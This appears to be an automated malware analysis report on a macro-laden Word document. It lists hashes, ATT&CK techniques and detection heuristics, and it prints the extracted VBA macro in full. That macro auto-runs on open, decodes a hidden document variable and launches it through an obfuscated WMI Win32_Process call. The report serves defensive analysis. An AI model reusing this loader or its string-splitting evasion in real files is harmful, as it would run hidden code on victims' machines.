Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 98eb6e762581a200…

MALICIOUS

Office (OOXML)

18.3 KB Created: 2020-08-26 22:37:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-15
MD5: 4fd7a6cd5742d4f12d215f080de9b916 SHA-1: 4230e6af56788636236d6de9a354797667ad8c90 SHA-256: 98eb6e762581a200b45715f6763a0c053f0179d07de7532c3578b87e01c21aab
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1566.001 Spearphishing Attachment

This OOXML document contains a VBA macro that executes upon opening. The macro uses GetObject to instantiate a WMI service and then calls Create on the Win32_Process object, a common technique for launching arbitrary code. The WMI service path is obfuscated using string concatenation, specifically 'winmgmts:\\.\root\cimv2:Win32_Process'. This indicates an attempt to download and execute a second-stage payload.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2998 bytes
SHA-256: 81c82a3295b420dc8c4eca023773cbd18a9e2c6df74e9b11727ba710396f5764
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit





                                                                            




           Public Charterless As Object
Sub Document_Open()






                                                                





               Call Viscometry





                   




                                                        End Sub





           







              Private Sub Viscometry()








                                                                    




                                                            Dim DeviateD As Long: Dim SnowmaSt() As Byte







                







                                            




                                                GoTo Unplatted
Fictional:







                   For DeviateD = 0 To UBound(SnowmaSt)





            SnowmaSt(DeviateD) = Abs(SnowmaSt(DeviateD) - 3)





                                                        







             







                                                            Next
GoTo Fiber








                   Exit Sub





Fiber:





                                        Set Charterless = GetObject("winmg" & "mts:\\" & "." & "\ro" & "ot\cim" & "v2" & ":" & "Win3" & "2_Process")






                                        GoTo Bedeswomen





                                                                    







             Exit Sub
GoTo Olethreutid






Olethreutid:





              





                                                                            MsgBox "You did a mistake. Please check values."







                                            Exit Sub







                                                                            





Unplatted:
SnowmaSt = StrConv(ActiveDocument.Variables("zdd9575dbb8").Value, 256 / 2, 1000 + 55)







                                                        GoTo Fictional








                




          






                                                                        Exit Sub
Bedeswomen:
Charterless.Create StrConv(SnowmaSt, 32 * 2, 1000 + 55), Null, Null, 0








                                                                Exit Sub








            




                   





                  GoTo Outsparkle







Outsparkle:
MsgBox "Your process is done. You can close your app now!"







           Exit Sub
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12800 bytes
SHA-256: c21eb33ef429e4f99c44d110991d2d46174c3c1b1c3d5ac9084b91637623dab1

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